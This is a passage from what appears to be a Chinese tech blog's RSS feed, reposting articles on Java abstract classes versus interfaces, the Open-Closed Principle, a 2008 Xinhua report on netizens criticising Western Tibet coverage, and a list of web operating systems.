</p><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E5%25A5%25A5%25E8%25BF%2590" rel="tag">奥运</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1741</link>
<title><![CDATA[转帖：详细解析抽象类和接口的区别]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[JAVA相关]]></category>
<pubDate>Mon, 24 Mar 2008 01:55:26 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1741</guid> 
<description>
<![CDATA[ 
	<p style="text-indent: 2em">abstractclass和interface是Java语言中对于抽象类定义进行支持的 两种机制，正是由于这两种机制的存在，才赋予了Java强大的面向对象能力。abstractclass和interface之间在对于抽象类定义的支持 方面具有很大的相似性，甚至可以相互替换，因此很多开发者在进行抽象类定义时对于abstractclass和interface的选择显得比较随意。其 实，两者之间还是有很大的区别的，对于它们的选择甚至反映出对于问题领域本质的理解、对于设计意图的理解是否正确、合理。本文将对它们之间的区别进行一番 剖析，试图给开发者提供一个在二者之间进行选择的依据。</p> <p style="text-indent: 2em"><strong>理解抽象类</strong></p> <p style="text-indent: 2em">abstractclass和interface在Java语言中都是用来进行抽象类（本文 中的抽象类并非从abstractclass翻译而来，它表示的是一个抽象体，而abstractclass为Java语言中用于定义抽象类的一种方法， 请读者注意区分）定义的，那么什么是抽象类，使用抽象类能为我们带来什么好处呢？</p> <p style="text-indent: 2em">在面向对象的概念中，我们知道所有的对象都是通过类来描绘的，但是反过来却不是这样。并不是 所有的类都是用来描绘对象的，如果一个类中没有包含足够的信息来描绘一个具体的对象，这样的类就是抽象类。抽象类往往用来表征我们在对问题领域进行分析、 设计中得出的抽象概念，是对一系列看上去不同，但是本质上相同的具体概念的抽象。比如：如果我们进行一个图形编辑软件的开发，就会发现问题领域存在着圆、 三角形这样一些具体概念，它们是不同的，但是它们又都属于形状这样一个概念，形状这个概念在问题领域是不存在的，它就是一个抽象概念。正是因为抽象的概念 在问题领域没有对应的具体概念，所以用以表征抽象概念的抽象类是不能够实例化的。</p> <p style="text-indent: 2em">在面向对象领域，抽象类主要用来进行类型隐藏。我们可以构造出一个固定的一组行为的抽象描 述，但是这组行为却能够有任意个可能的具体实现方式。这个抽象描述就是抽象类，而这一组任意个可能的具体实现则表现为所有可能的派生类。模块可以操作一个 抽象体。由于模块依赖于一个固定的抽象体，因此它可以是不允许修改的；同时，通过从这个抽象体派生，也可扩展此模块的行为功能。熟悉OCP的读者一定知 道，为了能够实现面向对象设计的一个最核心的原则OCP(Open-ClosedPrinciple)，抽象类是其中的关键所在。</p> <p style="text-indent: 2em">从语法定义层面看abstractclass和interface</p> <p style="text-indent: 2em">在语法层面，Java语言对于abstractclass和interface给出了不同的定义方式，下面以定义一个名为Demo的抽象类为例来说明这种不同。</p> <p style="text-indent: 2em">使用abstractclass的方式定义Demo抽象类的方式如下：</p> <p style="text-indent: 2em">abstractclassDemo｛</p> <p style="text-indent: 2em">abstractvoidmethod1();</p> <p style="text-indent: 2em">abstractvoidmethod2();</p> <p style="text-indent: 2em">&hellip;</p> <p style="text-indent: 2em">｝</p> <p style="text-indent: 2em">使用interface的方式定义Demo抽象类的方式如下：</p> <p style="text-indent: 2em">interfaceDemo&#123;</p> <p style="text-indent: 2em">voidmethod1();</p> <p style="text-indent: 2em">voidmethod2();</p> <p style="text-indent: 2em">&hellip;</p> <p style="text-indent: 2em">&#125;</p> <p style="text-indent: 2em">在abstractclass方式中，Demo可以有自己的数据成员，也可以有非 abstarct的成员方法，而在interface方式的实现中，Demo只能够有静态的不能被修改的数据成员（也就是必须是staticfinal 的，不过在interface中一般不定义数据成员），所有的成员方法都是abstract的。从某种意义上说，interface是一种特殊形式的 abstractclass。</p> <p style="text-indent: 2em">从编程的角度来看，abstractclass和interface都可以用来实现&quot;designbycontract&quot;的思想。但是在具体的使用上面还是有一些区别的。</p> <p style="text-indent: 2em">首先，abstractclass在Java语言中表示的是一种继承关系，一个类只能使用一次继承关系。但是，一个类却可以实现多个interface。也许，这是Java语言的设计者在考虑Java对于多重继承的支持方面的一种折中考虑吧。</p> <p style="text-indent: 2em">其次，在abstractclass的定义中，我们可以赋予方法的默认行为。但是在interface的定义中，方法却不能拥有默认行为，为了绕过这个限制，必须使用委托，但是这会增加一些复杂性，有时会造成很大的麻烦。</p> <p style="text-indent: 2em">在抽象类中不能定义默认行为还存在另一个比较严重的问题，那就是可能会造成维护上的麻烦。因 为如果后来想修改类的界面（一般通过abstractclass或者interface来表示）以适应新的情况（比如，添加新的方法或者给已用的方法中添 加新的参数）时，就会非常的麻烦，可能要花费很多的时间（对于派生类很多的情况，尤为如此）。但是如果界面是通过abstractclass来实现的，那 么可能就只需要修改定义在abstractclass中的默认行为就可以了。</p> <p style="text-indent: 2em">同样，如果不能在抽象类中定义默认行为，就会导致同样的方法实现出现在该抽象类的每一个派生类中，违反了&quot;onerule，oneplace&quot;原则，造成代码重复，同样不利于以后的维护。因此，在abstractclass和interface间进行选择时要非常的小心。</p> <p style="text-indent: 2em">从设计理念层面看abstractclass和interface</p> <p style="text-indent: 2em">上面主要从语法定义和编程的角度论述了abstractclass和interface的区 别，这些层面的区别是比较低层次的、非本质的。本小节将从另一个层面：abstractclass和interface所反映出的设计理念，来分析一下二 者的区别。作者认为，从这个层面进行分析才能理解二者概念的本质所在。</p> <p style="text-indent: 2em">前面已经提到过，abstarctclass在Java语言中体现了一种继承关系，要想使得 继承关系合理，父类和派生类之间必须存在&quot;isa&quot;关系，即父类和派生类在概念本质上应该是相同的（参考文献〔3〕中有关于&quot;isa&quot;关系的大篇幅深入的 论述，有兴趣的读者可以参考）。对于interface来说则不然，并不要求interface的实现者和interface定义在概念本质上是一致的， 仅仅是实现了interface定义的契约而已。为了使论述便于理解，下面将通过一个简单的实例进行说明。</p> <p style="text-indent: 2em">考虑这样一个例子，假设在我们的问题领域中有一个关于Door的抽象概念，该Door具有执行两个动作open和close，此时我们可以通过abstractclass或者interface来定义一个表示该抽象概念的类型，定义方式分别如下所示：</p> <p style="text-indent: 2em">使用abstractclass方式定义Door：</p> <p style="text-indent: 2em">abstractclassDoor&#123;</p> <p style="text-indent: 2em">abstractvoidopen();</p> <p style="text-indent: 2em">abstractvoidclose()；</p> <p style="text-indent: 2em">&#125;</p> <p style="text-indent: 2em">使用interface方式定义Door：</p> <p style="text-indent: 2em">interfaceDoor&#123;</p> <p style="text-indent: 2em">voidopen();</p> <p style="text-indent: 2em">voidclose();</p> <p style="text-indent: 2em">&#125;</p> <p style="text-indent: 2em">其他具体的Door类型可以extends使用abstractclass方式定义的Door或者implements使用interface方式定义的Door。看起来好像使用abstractclass和interface没有大的区别。</p><p style="text-indent: 2em">如果现在要求Door还要具有报警的功能。我们该如何设计针对该例子的类结构呢（在本例中，主要是为了展示abstractclass和interface反映在设计理念上的区别，其他方面无关的问题都做了简化或者忽略）？下面将罗列出可能的解决方案，并从设计理念层面对这些不同的方案进行分析。</p> <p style="text-indent: 2em">解决方案一：</p> <p style="text-indent: 2em">简单的在Door的定义中增加一个alarm方法，如下：</p> <p style="text-indent: 2em">abstractclassDoor&#123;</p> <p style="text-indent: 2em">abstractvoidopen();</p> <p style="text-indent: 2em">abstractvoidclose()；</p> <p style="text-indent: 2em">abstractvoidalarm();</p> <p style="text-indent: 2em">&#125;</p> <p style="text-indent: 2em">或者</p> <p style="text-indent: 2em">interfaceDoor&#123;</p> <p style="text-indent: 2em">voidopen();</p> <p style="text-indent: 2em">voidclose();</p> <p style="text-indent: 2em">voidalarm();</p> <p style="text-indent: 2em">&#125;</p> <p style="text-indent: 2em">那么具有报警功能的AlarmDoor的定义方式如下：</p> <p style="text-indent: 2em">classAlarmDoorextendsDoor&#123;</p> <p style="text-indent: 2em">voidopen()&#123;&hellip;&#125;</p> <p style="text-indent: 2em">voidclose()&#123;&hellip;&#125;</p> <p style="text-indent: 2em">voidalarm()&#123;&hellip;&#125;</p> <p style="text-indent: 2em">&#125;</p> <p style="text-indent: 2em">或者</p> <p style="text-indent: 2em">classAlarmDoorimplementsDoor｛</p> <p style="text-indent: 2em">voidopen()&#123;&hellip;&#125;</p> <p style="text-indent: 2em">voidclose()&#123;&hellip;&#125;</p> <p style="text-indent: 2em">voidalarm()&#123;&hellip;&#125;</p> <p style="text-indent: 2em">｝</p> <p style="text-indent: 2em">这种方法违反了面向对象设计中的一个核心原则ISP （InterfaceSegregationPriciple），在Door的定义中把Door概念本身固有的行为方法和另外一个概念&quot;报警器&quot;的行为方 法混在了一起。这样引起的一个问题是那些仅仅依赖于Door这个概念的模块会因为&quot;报警器&quot;这个概念的改变（比如：修改alarm方法的参数）而改变，反之依然。</p> <p style="text-indent: 2em">解决方案二：</p> <p style="text-indent: 2em">既然open、close和alarm属于两个不同的概念，根据ISP原则应该把它们分别定义在代表这两个概念的抽象类中。定义方式有：这两个概念都使用abstractclass方式定义；两个概念都使用interface方式定义；一个概念使用abstractclass方式定义，另一个概念使用interface方式定义。</p> <p style="text-indent: 2em">显然，由于Java语言不支持多重继承，所以两个概念都使用abstractclass方式定义是不可行的。后面两种方式都是可行的，但是对于它们的选择却反映出对于问题领域中的概念本质的理解、对于设计意图的反映是否正确、合理。我们一一来分析、说明。</p> <p style="text-indent: 2em">如果两个概念都使用interface方式来定义，那么就反映出两个问题：1、我们可能没有理解清楚问题领域，AlarmDoor在概念本质上到底是Door还是报警器？2、如果我们对于问题领域的理解没有问题，比如：我们通过对于问题领域的分析发现AlarmDoor在概念本质上和Door是一致的，那么我们在实现时就没有能够正确的揭示我们的设计意图，因为在这两个概念的定义上（均使用interface方式定义）反映不出上述含义。</p> <p style="text-indent: 2em">如果我们对于问题领域的理解是：AlarmDoor在概念本质上是Door，同时它有具有报 警的功能。我们该如何来设计、实现来明确的反映出我们的意思呢？前面已经说过，abstractclass在Java语言中表示一种继承关系，而继承关系 在本质上是&quot;isa&quot;关系。所以对于Door这个概念，我们应该使用abstarctclass方式来定义。另外，AlarmDoor又具有报警功能，说 明它又能够完成报警概念中定义的行为，所以报警概念可以通过interface方式定义。如下所示：</p> <p style="text-indent: 2em">abstractclassDoor&#123;</p> <p style="text-indent: 2em">abstractvoidopen();</p> <p style="text-indent: 2em">abstractvoidclose()；</p> <p style="text-indent: 2em">&#125;</p> <p style="text-indent: 2em">interfaceAlarm&#123;</p> <p style="text-indent: 2em">voidalarm();</p> <p style="text-indent: 2em">&#125;</p> <p style="text-indent: 2em">classAlarmDoorextendsDoorimplementsAlarm&#123;</p> <p style="text-indent: 2em">voidopen()&#123;&hellip;&#125;</p> <p style="text-indent: 2em">voidclose()&#123;&hellip;&#125;</p> <p style="text-indent: 2em">voidalarm()&#123;&hellip;&#125;</p> <p style="text-indent: 2em">&#125;</p> 这种实现方式基本上能够明确的反映出我们对于问题领域的理解，正确的揭示我们的设计意图。其 实abstractclass表示的是&quot;isa&quot;关系，interface表示的是&quot;likea&quot;关系，大家在选择时可以作为一个依据，当然这是建立在对 问题领域的理解上的，比如：如果我们认为AlarmDoor在概念本质上是报警器，同时又具有Door的功能，那么上述的定义方式就要反过来了。<br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E7%25BC%2596%25E7%25A8%258B" rel="tag">编程</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E9%259D%25A2%25E5%2590%2591%25E5%25AF%25B9%25E8%25B1%25A1" rel="tag">面向对象</a> , <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=java" rel="tag">java</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1740</link>
<title><![CDATA[转帖：The Open-Closed Principle (OCP) - OO设计的开闭原则]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[其他技术信息]]></category>
<pubDate>Mon, 24 Mar 2008 01:44:25 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1740</guid> 
<description>
<![CDATA[ 
	<h2><span>Software entities (classes, modules, function, etc.) should be open for extension, but closed for modification.<br />软件实体（模块，类，方法等）应该对扩展开放，对修改关闭。</span></h2><div id="fileContent"><br />开闭原则（OCP：Open-Closed Principle）是指在进行面向对象设计（OOD：Object Oriented Design）中，设计类或其他程序单位时，应该遵循：<br />- <strong>对扩展开放（open）</strong><br />- <strong>对修改关闭（closed）</strong><br />的设计原则。<br /><br />开闭原则是判断面向对象设计是否正确的最基本的原理之一。<br /><br />根据开闭原则，在设计一个软件系统模块（类，方法）的时候，应该可以在不修改原有的模块（修改关闭）的基础上，能扩展其功能（扩展开放）。<br />- 扩展开放：某模块的功能是可扩展的，则该模块是扩展开放的。软件系统的功能上的可扩展性要求模块是扩展开放的。<br />- 修改关闭：某模块被其他模块调用，如果该模块的源代码不允许修改，则该模块修改关闭的。软件系统的功能上的稳定性，持续性要求是修改关闭的。<br /><br />这也是<strong>系统设计需要遵循开闭原则的原因</strong>：<br />1）稳定性。开闭原则要求扩展功能不修改原来的代码，这可以让软件系统在变化中保持稳定。<br />2）扩展性。开闭原则要求对扩展开放，通过扩展提供新的或改变原有的功能，让软件系统具有灵活的可扩展性。<br />遵循开闭原则的系统设计，可以让软件系统可复用，并且易于维护。<br /><br /><br /><div id="tf_edit_html_title" class="tf_edit_html_title">开闭原则的实现方法</div>为了满足开闭原则的 对修改关闭（closed for modification） 原则以及扩展开放（open for extension） 原则，应该对软件系统中的不变的部分加以抽象，在面向对象的设计中，<br />- 可以把这些不变的部分加以抽象成不变的接口，这些不变的接口可以应对未来的扩展；<br />- 接口的最小功能设计原则。根据这个原则，原有的接口要么可以应对未来的扩展；不足的部分可以通过定义新的接口来实现；<br />- 模块之间的调用通过抽象接口进行，这样即使实现层发生变化，也无需修改调用方的代码。<br /><br />接口可以被复用，但接口的实现却不一定能被复用。接口是稳定的，关闭的，但接口的实现是可变的，开放的。可以通过对接口的不同实现以及类的继承行为等为系统增加新的或改变系统原来的功能，实现软件系统的柔软扩展。<br /><br />简单地说，软件系统是否有良好的接口（抽象）设计是判断软件系统是否满足开闭原则的一种重要的判断基准。现在多把开闭原则等同于面向接口的软件设计。<br /><br /><div id="tf_edit_html_title" class="tf_edit_html_title">开闭原则的相对性</div>软 件系统的构建是一个需要不断重构的过程，在这个过程中，模块的功能抽象，模块与模块间的关系，都不会从一开始就非常清晰明了，所以构建100%满足开闭原 则的软件系统是相当困难的，这就是开闭原则的相对性。但在设计过程中，通过对模块功能的抽象（接口定义），模块之间的关系的抽象（通过接口调用），抽象与 实现的分离（面向接口的程序设计）等，可以尽量接近满足开闭原则。<br /><br /><br /><div id="tf_edit_html_title" class="tf_edit_html_title">参考资料：</div><a href="http://www.objectmentor.com/resources/articles/ocp.pdf" target="blank">Martin, Robert C. （1996 January）. &ldquo;The Open-Closed Principle&rdquo;</a></div><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E9%259D%25A2%25E5%2590%2591%25E5%25AF%25B9%25E8%25B1%25A1%25E7%25BC%2596%25E7%25A8%258B" rel="tag">面向对象编程</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1739</link>
<title><![CDATA[转帖：网民谴责CNN等外媒歪曲西藏打砸抢烧事件]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[针砭时弊]]></category>
<pubDate>Sun, 23 Mar 2008 05:08:49 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1739</guid> 
<description>
<![CDATA[ 
	2008年03月23日06:45 <span class="linkRed02"><a style="text-decoration: none" href="http://www.xinhuanet.com/" target="_blank">新华网</a>&nbsp;&nbsp;</span><!--正文内容开始--> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<!-- google_ad_section_start --> &nbsp;&nbsp;&nbsp;&nbsp;<div id="artibody" class="artibody"> &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;<div align="center"><img src="http://i3.sinaimg.cn/dy/c/2008-03-23/U2240P1T1D15205219F21DT20080323065738.jpg" border="1" alt="网民谴责CNN等外媒歪曲西藏打砸抢烧事件" /></div><div class="f12" align="center">CNN网站图中没有暴徒向车辆投掷石块。</div><br /> <div align="center"><img src="http://i3.sinaimg.cn/dy/c/2008-03-23/U2240P1T1D15205219F23DT20080323065912.jpg" border="1" alt="网民谴责CNN等外媒歪曲西藏打砸抢烧事件" /></div><div class="f12" align="center"><div align="left">　　BBC给出的图片说明却写道：&ldquo;在拉萨有很多军队&rdquo;，似乎完全没有看到救护车上大大的&ldquo;急救&rdquo;二字。</div></div><br /> <div align="center"><img src="http://i3.sinaimg.cn/dy/c/2008-03-23/U2240P1T1D15205219F1394DT20080323065912.jpg" border="1" alt="网民谴责CNN等外媒歪曲西藏打砸抢烧事件" /></div><div class="f12" align="center">《柏林晨报》网站将一张西藏公安武警解救被袭汉族人的照片硬说成是在抓捕藏人。</div><br /> <div align="center"><img src="http://i2.sinaimg.cn/dy/c/2008-03-23/U2240P1T1D15205219F1395DT20080323065738.jpg" border="1" alt="网民谴责CNN等外媒歪曲西藏打砸抢烧事件" /></div><div class="f12" align="center">德国NTV电视台也在报道中将尼泊尔警察抓捕藏人抗议者说成是&ldquo;发生在西藏的新事件&rdquo;。</div><br /> &nbsp;&nbsp;&nbsp;&nbsp;<p>　　新华网北京3月23日电 近日，数以万计的网民声援在中华网军事论坛发起的&ldquo;谴责CNN&rdquo;的签名活动，指责CNN网站及其他一些西方媒体在新闻报道中歪曲事实，偏袒在拉萨市打砸抢烧的暴徒，认为这些别有用心的报道充分暴露了西方媒体所谓&ldquo;客观、公正&rdquo;的虚伪性。</p>&nbsp;&nbsp;<p>　　目前，拉萨局势已基本平稳，社会秩序已恢复正常。而此时CNN刊登的一幅照片显示的却是军车在街上行驶，旁边有一辆汽车在焚烧，前方则有人在奔跑。根据中国网民找到并上传的原照片，图片右面本来还有一些参与打砸抢烧的人向军车投掷石块，空中的石头清晰可见。</p>&nbsp;&nbsp;<p>　　有网民称，CNN对照片进行了剪裁，裁掉的是反映暴徒攻击军车的画面。网民&ldquo;三风&rdquo;说，CNN这是在断章取义，混淆视听，他们用意何在？要想达到他们不可告人的目的，中国人民不会答应！</p>&nbsp;&nbsp;<p>　　CNN在其刊登的另一幅图像说明中称，一些&ldquo;西藏青年&rdquo;正在攻击一名&ldquo;中国人&rdquo;。对此，有网民气愤地反问道：什么是&ldquo;西藏青年正在攻击一名中国人&rdquo;？西藏青年难道不是中国人吗？！真搞不懂CNN的主编究竟是否学过历史。</p>&nbsp;&nbsp;<p>　　网民&ldquo;风雨人CW&rdquo;称，CNN的伪善、丑恶嘴脸在这次歪曲报道中暴露无遗，西方媒体常常攻击中国的民主、人权状况，其真实目的是攻击中国政府，遏制中国崛起，为西方分裂中国造势。</p>&nbsp;&nbsp;<p>　　据中国环球网报道，英国广播公司(BBC)17日在网站上刊登了一幅图片，显示的是中国公安武警协助医护人员将受伤人员送进救护车的场景，但 BBC给出的图片说明却写道：&ldquo;在拉萨有很多军队&rdquo;。此外，英国《泰晤士报》等媒体也在报道中使用了&ldquo;军事镇压&rdquo;、&ldquo;武力管制&rdquo;、&ldquo;藏人被杀数百人&rdquo;等歪 曲事实真相的文字。</p>&nbsp;&nbsp;<p>　　环球网还揭露说，德国《柏林晨报》网站18日将一张中国公安武警解救被袭群众的照片硬说成是在&ldquo;抓人&rdquo;；美国福克斯电视台网站刊登的一幅照片 称，&ldquo;中国军人&rdquo;将抗议者拉上卡车，但图片显示的却是印度警察。德国NTV电视台在报道&ldquo;发生在西藏的事件&rdquo;时，用的竟是尼泊尔警察抓捕抗议者的电视画 面。</p>&nbsp;&nbsp;<p>　　环球网网友说，对于西方的某些媒体，丑化中国和无中生有已经成为他们的惯用手法。网民&ldquo;欧美就是纸老虎&rdquo;称，谁造假、谁蓄意制造动荡，我们就找谁理论。我们的目的只有一个：就是想弄明白，西方人权卫士们怎么就见不得中国好，见不得中国太平？他们必须回答！</p>&nbsp;&nbsp;<p>　　网民&ldquo;龙腾虎跃&rdquo;称，一个在拉萨旅行的加拿大人目睹了拉萨发生打砸抢烧事件，他在自己的博客里写道：&ldquo;那些藏独恐怖分子先开始攻击警察，攻击平民。这如果放在西方，会被更严厉地镇压。&rdquo;这段文字，没有见到一家西方主要媒体引用。</p>&nbsp;&nbsp;<p>　　网民指出，这位加拿大人还拍下了中国武警举着盾牌组成人墙阻挡雨点般砖头袭击的照片，并将其放在自己的博客里，这幅照片后来被《纽约时报》放到了头版，然而，该报的图片说明却根本不提歹徒袭击警察的暴行，而是用了&ldquo;示威&rdquo;这种完全不符合事实、带有偏见的字眼。</p>&nbsp;&nbsp;<p>　　武汉大学新闻学院教授、英国伯明翰大学文化传播学者刘娜近日在接受《环球时报》记者采访时说，近一段时间以来，许多来自西方传媒界的朋友也都在向她了解此次西藏暴力事件的真相，还给她传来了许多出自西方媒体的新闻报道。</p>&nbsp;&nbsp;<p>　　刘娜教授认为，西方媒体在这个事件上如此多的失实报道，是&ldquo;别有用心&rdquo;的。一直以来，标榜&ldquo;客观&rdquo;的西方媒体在报道中国问题时，由于思维惯式和 价值理念的差异，很多时候带有偏见，有的甚至是&ldquo;成见&rdquo;。&ldquo;这种把自己的价值理念强加于别国内政，站在带有自己价值立场的角度去报道事件，怎么可能是完全 &lsquo;客观公正&rsquo;的呢？&rdquo;</p>&nbsp;&nbsp;<p>　　有网民称，CNN等西方媒体歪曲事实的言行，揭穿了西方所宣扬的&ldquo;民主、自由、人权&rdquo;的假面具，激起了广大中国人民的愤怒。</p>&nbsp;&nbsp;<p>　　据了解，目前，中华网军事论坛的相关帖文点击量达数百万次，批评西方媒体的跟帖达数万条。</p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;</div><br/>Tags - <a href="http://www.dreamaroundworld.com/tech/tag.php?tag=%25E9%2592%2588%25E7%25A0%25AD%25E6%2597%25B6%25E5%25BC%258A" rel="tag">针砭时弊</a>
]]>
</description>
</item><item>
<link>http://www.dreamaroundworld.com/tech/read.php?1738</link>
<title><![CDATA[转帖：20多个在线操作系统(WebOS)一览]]></title> 
<author>wangyuneu &lt;wangyuneu@hotmail.com&gt;</author>
<category><![CDATA[Web开发]]></category>
<pubDate>Sat, 22 Mar 2008 11:56:07 +0000</pubDate> 
<guid>http://www.dreamaroundworld.com/tech/read.php?1738</guid> 
<description>
<![CDATA[ 
	互联网上有很多在线软件，而说到在线软件，不能不提在线操作系统（WebOS），相比起单个的在线软件，在线操作系统功能更全面，所有功能都是基于浏览器 （如果你所在的地方禁用的MSN，不妨尝试使用WebOS来登录）。有人相信webOS会成为未来的主流，因为和在线软件一样，你能在任何地方连接到自己 的工作平台和文件存储。这里介绍20多个WebOS，其中有不少是提供中文界面的。<br /> <br /> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <strong>1、</strong><a href="http://www.oos.cc/login.html" target="_blank"><strong>I-Cube</strong></a> <br /> <a href="http://www.kenengba.com/post/402.html" target="_blank"><img src="http://www.panoramio.com/photos/original/8692933.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /></a><br />&nbsp;&nbsp;<br /> 提供1G的在线存储和文件共享，多媒体支持和一些常用办公工具。同时拥有一个email客户端和编程开发工具。<br />&nbsp;&nbsp;<br /> <strong>2、</strong><a href="http://www.eyeos.org/" target="_blank"><strong>EyeOS</strong></a><br />&nbsp;&nbsp;<br /> <a href="http://www.kenengba.com/" target="_blank"><img src="http://www.panoramio.com/photos/original/8692925.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /></a><br />&nbsp;&nbsp;<br /> EyeOS是一个开源软件，可以下载使用也可以在其服务器上在线使用。拥有丰富的网络程序以及办公套件。个性化强度高。<br />&nbsp;&nbsp;<br /> <strong>3、</strong><a href="http://www.exoplatform.com/" target="_blank"><strong>eXo&nbsp;&nbsp;Enterprise WebOS</strong></a><br />&nbsp;&nbsp;<br /> <a href="http://www.kenengba.com/" target="_blank"><img src="http://www.panoramio.com/photos/original/8692924.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /></a><br />&nbsp;&nbsp;<br /> 使用了大量的<a href="http://www.kenengba.com/post/382.html" target="_blank">Web2.0</a>元素构造，使用了大量的AJAX和Jacascript，因此它使用起来是相当方便的，即使在没有互联网连接的情况下也可以使用。<br />&nbsp;&nbsp;<br /> <strong>4、</strong><a href="http://www.zimdesk.com/" target="_blank"><strong>Zimdesk</strong></a><br />&nbsp;&nbsp;<br /> <img src="http://www.panoramio.com/photos/original/8692948.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> Zimdesk提供的应用程序可以用琳琅满目来形容，从办公应用到多媒体应用，从文件管理到网络电视，又或者从RSS订阅到聊天工具，功能可谓是很好很强大。<br />&nbsp;&nbsp;<br /> <strong>5、</strong><a href="http://www.glideos.com/" target="_blank"><strong>Glide OS</strong></a><br />&nbsp;&nbsp;<br /> <img src="http://www.panoramio.com/photos/original/8692928.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> 一个需要flash支持的在线操作系统，除了提供Web入口之外，还提供移动网络入口。提供的程序和Zimdesk大同小异，不过有点杂乱。<br />&nbsp;&nbsp;<br /> <strong>6、</strong><a href="http://www.widgetplus.com/" target="_blank"><strong>WidgetPlus</strong></a><br />&nbsp;&nbsp;<br /> <img src="http://www.panoramio.com/photos/original/8692944.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> 顾名思义，这是一个以<a href="http://www.kenengba.com/post/363.html" target="_blank">Widget</a>为基础构成的WebOS，由于Widget的开放性，这个OS提供功能必将会越来越强大。<br />&nbsp;&nbsp;<br /> <strong>7、</strong><a href="http://www.peepel.com/" target="_blank"><strong>Peepel</strong></a><br />&nbsp;&nbsp;<br />&nbsp;&nbsp;<img src="http://www.panoramio.com/photos/original/8692935.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /><br />&nbsp;&nbsp;<br /> 与其说在线操作系统，不如说Peepel是一个在线办公应用，和<a href="http://www.zoho.com/" target="_blank">Zoho</a>，<a href="http://docs.google.com/" target="_blank">Google Docs</a>是大同小异的。相比之下，我更喜欢Zoho。<br />&nbsp;&nbsp;<br /> <strong>8、</strong><a href="http://www.xindesk.com/" target="_blank"><strong>Xindesk</strong></a><br />&nbsp;&nbsp;<br /> <a href="http://www.kenengba.com/post/402.html" target="_blank"><img src="http://www.panoramio.com/photos/original/8692946.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /></a><br />&nbsp;&nbsp;<br /> 一个免费在WebOS，支持所有的文件在线存储，日程管理，联系人资料等等。有点像Vista？<br />&nbsp;&nbsp;<br /> <strong>9、</strong><a href="http://www.youos.com/" target="_blank"><strong>YouOS</strong></a><br />&nbsp;&nbsp;<br /> <a href="http://www.kenengba.com/" target="_blank"><img src="http://www.panoramio.com/photos/original/8692947.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /></a><br />&nbsp;&nbsp;<br /> YouOS是一个非常优秀的WebOS，使用JavaScript来与服务器交换数据，在进行下一步操作之前，上一步的操作会被记录，方便返回。另外，YouOS在在线协同操作方面做得非常优秀。<br />&nbsp;&nbsp;<br /> <strong>10、</strong><a href="http://www.widgetop.com/" target="_blank"><strong>Widgetop</strong></a><br />&nbsp;&nbsp;<br /> <a href="http://www.kenengba.com/post/402.html" target="_blank"><img src="http://www.panoramio.com/photos/original/8692943.jpg" onmouseover="if(this.width&gt;screen.width*0.7) &#123;this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window&#92;nCTRL+Mouse wheel to zoom in/out';&#125;" border="0" /></a><br />&nbsp;&nbsp;<br /> 注意，你不能使用IE来登入这个WebOS！Firefox,Safari等都没有问题。即使是iPhone的浏览器也可以。由于又是基于Widget的，其扩展性是相当强的。<br />&nbsp;&nbsp;<br /> <strong>11、</strong><a href="http://www.cornelios.org/" 